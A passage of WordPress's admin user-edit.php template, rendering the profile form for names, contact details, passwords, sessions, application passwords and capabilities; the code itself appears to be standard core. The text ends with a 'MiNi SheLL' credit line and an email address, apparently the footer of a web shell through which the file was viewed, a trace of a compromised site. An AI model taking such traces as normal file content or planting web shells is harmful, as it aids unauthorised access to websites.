			 * The action only fires if the current user is editing their own profile.
			 *
			 * @since 2.0.0
			 *
			 * @param WP_User $profileuser The current WP_User object.
			 */
			do_action( 'profile_personal_options', $profileuser );
		}
		?>

<h2><?php _e( 'Name' ); ?></h2>

<table class="form-table" role="presentation">
	<tr class="user-user-login-wrap">
		<th><label for="user_login"><?php _e( 'Username' ); ?></label></th>
		<td><input type="text" name="user_login" id="user_login" value="<?php echo esc_attr( $profileuser->user_login ); ?>" disabled="disabled" class="regular-text" /> <span class="description"><?php _e( 'Usernames cannot be changed.' ); ?></span></td>
	</tr>

		<?php if ( ! IS_PROFILE_PAGE && ! is_network_admin() && current_user_can( 'promote_user', $profileuser->ID ) ) : ?>
<tr class="user-role-wrap"><th><label for="role"><?php _e( 'Role' ); ?></label></th>
<td><select name="role" id="role">
			<?php
			// Compare user role against currently editable roles.
			$user_roles = array_intersect( array_values( $profileuser->roles ), array_keys( get_editable_roles() ) );
			$user_role  = reset( $user_roles );

			// Print the full list of roles with the primary one selected.
			wp_dropdown_roles( $user_role );

			// Print the 'no role' option. Make it selected if the user has no role yet.
			if ( $user_role ) {
				echo '<option value="">' . __( '&mdash; No role for this site &mdash;' ) . '</option>';
			} else {
				echo '<option value="" selected="selected">' . __( '&mdash; No role for this site &mdash;' ) . '</option>';
			}
			?>
</select></td></tr>
			<?php
		endif; // End if ! IS_PROFILE_PAGE.

		if ( is_multisite() && is_network_admin() && ! IS_PROFILE_PAGE && current_user_can( 'manage_network_options' ) && ! isset( $super_admins ) ) {
			?>
<tr class="user-super-admin-wrap"><th><?php _e( 'Super Admin' ); ?></th>
<td>
			<?php if ( 0 !== strcasecmp( $profileuser->user_email, get_site_option( 'admin_email' ) ) || ! is_super_admin( $profileuser->ID ) ) : ?>
<p><label><input type="checkbox" id="super_admin" name="super_admin"<?php checked( is_super_admin( $profileuser->ID ) ); ?> /> <?php _e( 'Grant this user super admin privileges for the Network.' ); ?></label></p>
<?php else : ?>
<p><?php _e( 'Super admin privileges cannot be removed because this user has the network admin email.' ); ?></p>
<?php endif; ?>
</td></tr>
		<?php } ?>

<tr class="user-first-name-wrap">
	<th><label for="first_name"><?php _e( 'First Name' ); ?></label></th>
	<td><input type="text" name="first_name" id="first_name" value="<?php echo esc_attr( $profileuser->first_name ); ?>" class="regular-text" /></td>
</tr>

<tr class="user-last-name-wrap">
	<th><label for="last_name"><?php _e( 'Last Name' ); ?></label></th>
	<td><input type="text" name="last_name" id="last_name" value="<?php echo esc_attr( $profileuser->last_name ); ?>" class="regular-text" /></td>
</tr>

<tr class="user-nickname-wrap">
	<th><label for="nickname"><?php _e( 'Nickname' ); ?> <span class="description"><?php _e( '(required)' ); ?></span></label></th>
	<td><input type="text" name="nickname" id="nickname" value="<?php echo esc_attr( $profileuser->nickname ); ?>" class="regular-text" /></td>
</tr>

<tr class="user-display-name-wrap">
	<th><label for="display_name"><?php _e( 'Display name publicly as' ); ?></label></th>
	<td>
		<select name="display_name" id="display_name">
		<?php
			$public_display                     = array();
			$public_display['display_nickname'] = $profileuser->nickname;
			$public_display['display_username'] = $profileuser->user_login;

		if ( ! empty( $profileuser->first_name ) ) {
			$public_display['display_firstname'] = $profileuser->first_name;
		}

		if ( ! empty( $profileuser->last_name ) ) {
			$public_display['display_lastname'] = $profileuser->last_name;
		}

		if ( ! empty( $profileuser->first_name ) && ! empty( $profileuser->last_name ) ) {
			$public_display['display_firstlast'] = $profileuser->first_name . ' ' . $profileuser->last_name;
			$public_display['display_lastfirst'] = $profileuser->last_name . ' ' . $profileuser->first_name;
		}

		if ( ! in_array( $profileuser->display_name, $public_display, true ) ) { // Only add this if it isn't duplicated elsewhere.
			$public_display = array( 'display_displayname' => $profileuser->display_name ) + $public_display;
		}

			$public_display = array_map( 'trim', $public_display );
			$public_display = array_unique( $public_display );

		foreach ( $public_display as $id => $item ) {
			?>
		<option <?php selected( $profileuser->display_name, $item ); ?>><?php echo $item; ?></option>
			<?php
		}
		?>
		</select>
		</td>
	</tr>
	</table>

	<h2><?php _e( 'Contact Info' ); ?></h2>

	<table class="form-table" role="presentation">
	<tr class="user-email-wrap">
		<th><label for="email"><?php _e( 'Email' ); ?> <span class="description"><?php _e( '(required)' ); ?></span></label></th>
		<td><input type="email" name="email" id="email" aria-describedby="email-description" value="<?php echo esc_attr( $profileuser->user_email ); ?>" class="regular-text ltr" />
		<?php
		if ( $profileuser->ID == $current_user->ID ) :
			?>
		<p class="description" id="email-description">
			<?php _e( 'If you change this, we will send you an email at your new address to confirm it. <strong>The new address will not become active until confirmed.</strong>' ); ?>
		</p>
			<?php
		endif;

		$new_email = get_user_meta( $current_user->ID, '_new_email', true );
		if ( $new_email && $new_email['newemail'] != $current_user->user_email && $profileuser->ID == $current_user->ID ) :
			?>
		<div class="updated inline">
		<p>
			<?php
			printf(
				/* translators: %s: New email. */
				__( 'There is a pending change of your email to %s.' ),
				'<code>' . esc_html( $new_email['newemail'] ) . '</code>'
			);
			printf(
				' <a href="%1$s">%2$s</a>',
				esc_url( wp_nonce_url( self_admin_url( 'profile.php?dismiss=' . $current_user->ID . '_new_email' ), 'dismiss-' . $current_user->ID . '_new_email' ) ),
				__( 'Cancel' )
			);
			?>
		</p>
		</div>
		<?php endif; ?>
	</td>
	</tr>

	<tr class="user-url-wrap">
	<th><label for="url"><?php _e( 'Website' ); ?></label></th>
	<td><input type="url" name="url" id="url" value="<?php echo esc_attr( $profileuser->user_url ); ?>" class="regular-text code" /></td>
	</tr>

		<?php
		foreach ( wp_get_user_contact_methods( $profileuser ) as $name => $desc ) {
			?>
	<tr class="user-<?php echo $name; ?>-wrap">
<th><label for="<?php echo $name; ?>">
			<?php
			/**
			 * Filters a user contactmethod label.
			 *
			 * The dynamic portion of the filter hook, `$name`, refers to
			 * each of the keys in the contactmethods array.
			 *
			 * @since 2.9.0
			 *
			 * @param string $desc The translatable label for the contactmethod.
			 */
			echo apply_filters( "user_{$name}_label", $desc );
			?>
	</label></th>
	<td><input type="text" name="<?php echo $name; ?>" id="<?php echo $name; ?>" value="<?php echo esc_attr( $profileuser->$name ); ?>" class="regular-text" /></td>
	</tr>
			<?php
		}
		?>
	</table>

	<h2><?php IS_PROFILE_PAGE ? _e( 'About Yourself' ) : _e( 'About the user' ); ?></h2>

<table class="form-table" role="presentation">
<tr class="user-description-wrap">
	<th><label for="description"><?php _e( 'Biographical Info' ); ?></label></th>
	<td><textarea name="description" id="description" rows="5" cols="30"><?php echo $profileuser->description; // textarea_escaped ?></textarea>
	<p class="description"><?php _e( 'Share a little biographical information to fill out your profile. This may be shown publicly.' ); ?></p></td>
</tr>

		<?php if ( get_option( 'show_avatars' ) ) : ?>
<tr class="user-profile-picture">
	<th><?php _e( 'Profile Picture' ); ?></th>
	<td>
			<?php echo get_avatar( $user_id ); ?>
		<p class="description">
			<?php
			if ( IS_PROFILE_PAGE ) {
				$description = sprintf(
					/* translators: %s: Gravatar URL. */
					__( '<a href="%s">You can change your profile picture on Gravatar</a>.' ),
					__( 'https://en.gravatar.com/' )
				);
			} else {
				$description = '';
			}

			/**
			 * Filters the user profile picture description displayed under the Gravatar.
			 *
			 * @since 4.4.0
			 * @since 4.7.0 Added the `$profileuser` parameter.
			 *
			 * @param string  $description The description that will be printed.
			 * @param WP_User $profileuser The current WP_User object.
			 */
			echo apply_filters( 'user_profile_picture_description', $description, $profileuser );
			?>
		</p>
	</td>
</tr>
<?php endif; ?>

		<?php
		/**
		 * Filters the display of the password fields.
		 *
		 * @since 1.5.1
		 * @since 2.8.0 Added the `$profileuser` parameter.
		 * @since 4.4.0 Now evaluated only in user-edit.php.
		 *
		 * @param bool    $show        Whether to show the password fields. Default true.
		 * @param WP_User $profileuser User object for the current user to edit.
		 */
		$show_password_fields = apply_filters( 'show_password_fields', true, $profileuser );
		if ( $show_password_fields ) :
			?>
	</table>

	<h2><?php _e( 'Account Management' ); ?></h2>
<table class="form-table" role="presentation">
<tr id="password" class="user-pass1-wrap">
	<th><label for="pass1"><?php _e( 'New Password' ); ?></label></th>
	<td>
		<input class="hidden" value=" " /><!-- #24364 workaround -->
		<button type="button" class="button wp-generate-pw hide-if-no-js" aria-expanded="false"><?php _e( 'Set New Password' ); ?></button>
		<div class="wp-pwd hide-if-js">
			<span class="password-input-wrapper">
				<input type="password" name="pass1" id="pass1" class="regular-text" value="" autocomplete="off" data-pw="<?php echo esc_attr( wp_generate_password( 24 ) ); ?>" aria-describedby="pass-strength-result" />
			</span>
			<button type="button" class="button wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>">
				<span class="dashicons dashicons-hidden" aria-hidden="true"></span>
				<span class="text"><?php _e( 'Hide' ); ?></span>
			</button>
			<button type="button" class="button wp-cancel-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Cancel password change' ); ?>">
				<span class="dashicons dashicons-no" aria-hidden="true"></span>
				<span class="text"><?php _e( 'Cancel' ); ?></span>
			</button>
			<div style="display:none" id="pass-strength-result" aria-live="polite"></div>
		</div>
	</td>
</tr>
<tr class="user-pass2-wrap hide-if-js">
	<th scope="row"><label for="pass2"><?php _e( 'Repeat New Password' ); ?></label></th>
	<td>
	<input name="pass2" type="password" id="pass2" class="regular-text" value="" autocomplete="off" aria-describedby="pass2-desc" />
			<?php if ( IS_PROFILE_PAGE ) : ?>
				<p class="description" id="pass2-desc"><?php _e( 'Type your new password again.' ); ?></p>
			<?php else : ?>
				<p class="description" id="pass2-desc"><?php _e( 'Type the new password again.' ); ?></p>
			<?php endif; ?>
	</td>
</tr>
<tr class="pw-weak">
	<th><?php _e( 'Confirm Password' ); ?></th>
	<td>
		<label>
			<input type="checkbox" name="pw_weak" class="pw-checkbox" />
			<span id="pw-weak-text-label"><?php _e( 'Confirm use of weak password' ); ?></span>
		</label>
	</td>
</tr>
	<?php endif; ?>

		<?php
		if ( IS_PROFILE_PAGE && count( $sessions->get_all() ) === 1 ) :
			?>
	<tr class="user-sessions-wrap hide-if-no-js">
		<th><?php _e( 'Sessions' ); ?></th>
		<td aria-live="assertive">
			<div class="destroy-sessions"><button type="button" disabled class="button"><?php _e( 'Log Out Everywhere Else' ); ?></button></div>
			<p class="description">
				<?php _e( 'You are only logged in at this location.' ); ?>
			</p>
		</td>
	</tr>
<?php elseif ( IS_PROFILE_PAGE && count( $sessions->get_all() ) > 1 ) : ?>
	<tr class="user-sessions-wrap hide-if-no-js">
		<th><?php _e( 'Sessions' ); ?></th>
		<td aria-live="assertive">
			<div class="destroy-sessions"><button type="button" class="button" id="destroy-sessions"><?php _e( 'Log Out Everywhere Else' ); ?></button></div>
			<p class="description">
				<?php _e( 'Did you lose your phone or leave your account logged in at a public computer? You can log out everywhere else, and stay logged in here.' ); ?>
			</p>
		</td>
	</tr>
<?php elseif ( ! IS_PROFILE_PAGE && $sessions->get_all() ) : ?>
	<tr class="user-sessions-wrap hide-if-no-js">
		<th><?php _e( 'Sessions' ); ?></th>
		<td>
			<p><button type="button" class="button" id="destroy-sessions"><?php _e( 'Log Out Everywhere' ); ?></button></p>
			<p class="description">
				<?php
				/* translators: %s: User's display name. */
				printf( __( 'Log %s out of all locations.' ), $profileuser->display_name );
				?>
			</p>
		</td>
	</tr>
<?php endif; ?>

	</table>


		<?php if ( wp_is_application_passwords_available_for_user( $user_id ) ) : ?>
	<div class="application-passwords hide-if-no-js" id="application-passwords-section">
		<h2><?php _e( 'Application Passwords' ); ?></h2>
		<p><?php _e( 'Application passwords allow authentication via non-interactive systems, such as XML-RPC or the REST API, without providing your actual password. Application passwords can be easily revoked. They cannot be used for traditional logins to your website.' ); ?></p>
			<?php
			if ( is_multisite() ) {
				$blogs       = get_blogs_of_user( $user_id, true );
				$blogs_count = count( $blogs );
				if ( $blogs_count > 1 ) {
					?>
					<p>
						<?php
						printf(
							/* translators: 1: URL to my-sites.php, 2: Number of blogs the user has. */
							_n(
								'Application passwords grant access to <a href="%1$s">the %2$s blog in this installation that you have permissions on</a>.',
								'Application passwords grant access to <a href="%1$s">all %2$s blogs in this installation that you have permissions on</a>.',
								$blogs_count
							),
							admin_url( 'my-sites.php' ),
							number_format_i18n( $blogs_count )
						);
						?>
					</p>
					<?php
				}
			}

			if ( ! wp_is_site_protected_by_basic_auth( 'front' ) ) {
				?>
			<div class="create-application-password form-wrap">
				<div class="form-field">
					<label for="new_application_password_name"><?php _e( 'New Application Password Name' ); ?></label>
					<input type="text" size="30" id="new_application_password_name" name="new_application_password_name" placeholder="<?php esc_attr_e( 'WordPress App on My Phone' ); ?>" class="input" aria-required="true" aria-describedby="new_application_password_name_desc" />
					<p class="description" id="new_application_password_name_desc"><?php _e( 'Required to create an Application Password, but not to update the user.' ); ?></p>
				</div>

				<?php
				/**
				 * Fires in the create Application Passwords form.
				 *
				 * @since 5.6.0
				 *
				 * @param WP_User $profileuser The current WP_User object.
				 */
				do_action( 'wp_create_application_password_form', $profileuser );
				?>

				<?php submit_button( __( 'Add New Application Password' ), 'secondary', 'do_new_application_password' ); ?>
			</div>
		<?php } else { ?>
			<div class="notice notice-error inline">
				<p><?php _e( 'Your website appears to use Basic Authentication, which is not currently compatible with Application Passwords.' ); ?></p>
			</div>
		<?php } ?>

		<div class="application-passwords-list-table-wrapper">
			<?php
			$application_passwords_list_table = _get_list_table( 'WP_Application_Passwords_List_Table', array( 'screen' => 'application-passwords-user' ) );
			$application_passwords_list_table->prepare_items();
			$application_passwords_list_table->display();
			?>
		</div>
	</div>
<?php endif; ?>

		<?php
		if ( IS_PROFILE_PAGE ) {
			/**
			 * Fires after the 'About Yourself' settings table on the 'Profile' editing screen.
			 *
			 * The action only fires if the current user is editing their own profile.
			 *
			 * @since 2.0.0
			 *
			 * @param WP_User $profileuser The current WP_User object.
			 */
			do_action( 'show_user_profile', $profileuser );
		} else {
			/**
			 * Fires after the 'About the User' settings table on the 'Edit User' screen.
			 *
			 * @since 2.0.0
			 *
			 * @param WP_User $profileuser The current WP_User object.
			 */
			do_action( 'edit_user_profile', $profileuser );
		}
		?>

		<?php
		/**
		 * Filters whether to display additional capabilities for the user.
		 *
		 * The 'Additional Capabilities' section will only be enabled if
		 * the number of the user's capabilities exceeds their number of
		 * roles.
		 *
		 * @since 2.8.0
		 *
		 * @param bool    $enable      Whether to display the capabilities. Default true.
		 * @param WP_User $profileuser The current WP_User object.
		 */
		if ( count( $profileuser->caps ) > count( $profileuser->roles )
		&& apply_filters( 'additional_capabilities_display', true, $profileuser )
		) :
			?>
	<h2><?php _e( 'Additional Capabilities' ); ?></h2>
<table class="form-table" role="presentation">
<tr class="user-capabilities-wrap">
	<th scope="row"><?php _e( 'Capabilities' ); ?></th>
	<td>
			<?php
			$output = '';
			foreach ( $profileuser->caps as $cap => $value ) {
				if ( ! $wp_roles->is_role( $cap ) ) {
					if ( '' != $output ) {
						$output .= ', ';
					}

					if ( $value ) {
						$output .= $cap;
					} else {
						/* translators: %s: Capability name. */
						$output .= sprintf( __( 'Denied: %s' ), $cap );
					}
				}
			}
			echo $output;
			?>
	</td>
</tr>
</table>
	<?php endif; ?>

<input type="hidden" name="action" value="update" />
<input type="hidden" name="user_id" id="user_id" value="<?php echo esc_attr( $user_id ); ?>" />

		<?php submit_button( IS_PROFILE_PAGE ? __( 'Update Profile' ) : __( 'Update User' ) ); ?>

</form>
</div>
		<?php
		break;
}
?>
<script type="text/javascript">
	if (window.location.hash == '#password') {
		document.getElementById('pass1').focus();
	}
</script>

<?php if ( isset( $application_passwords_list_table ) ) : ?>
	<script type="text/html" id="tmpl-new-application-password">
		<div class="notice notice-success is-dismissible new-application-password-notice" role="alert" tabindex="-1">
			<p class="application-password-display">
				<label for="new-application-password-value">
					<?php
					printf(
						/* translators: %s: Application name. */
						__( 'Your new password for %s is:' ),
						'<strong>{{ data.name }}</strong>'
					);
					?>
				</label>
				<input id="new-application-password-value" type="text" class="code" readonly="readonly" value="{{ data.password }}" />
			</p>
			<p><?php _e( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ); ?></p>
			<button type="button" class="notice-dismiss">
				<span class="screen-reader-text"><?php _e( 'Dismiss this notice.' ); ?></span>
			</button>
		</div>
	</script>

	<script type="text/html" id="tmpl-application-password-row">
		<?php $application_passwords_list_table->print_js_template_row(); ?>
	</script>
<?php endif; ?>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';

Creat By MiNi SheLL
Email: jattceo@gmail.com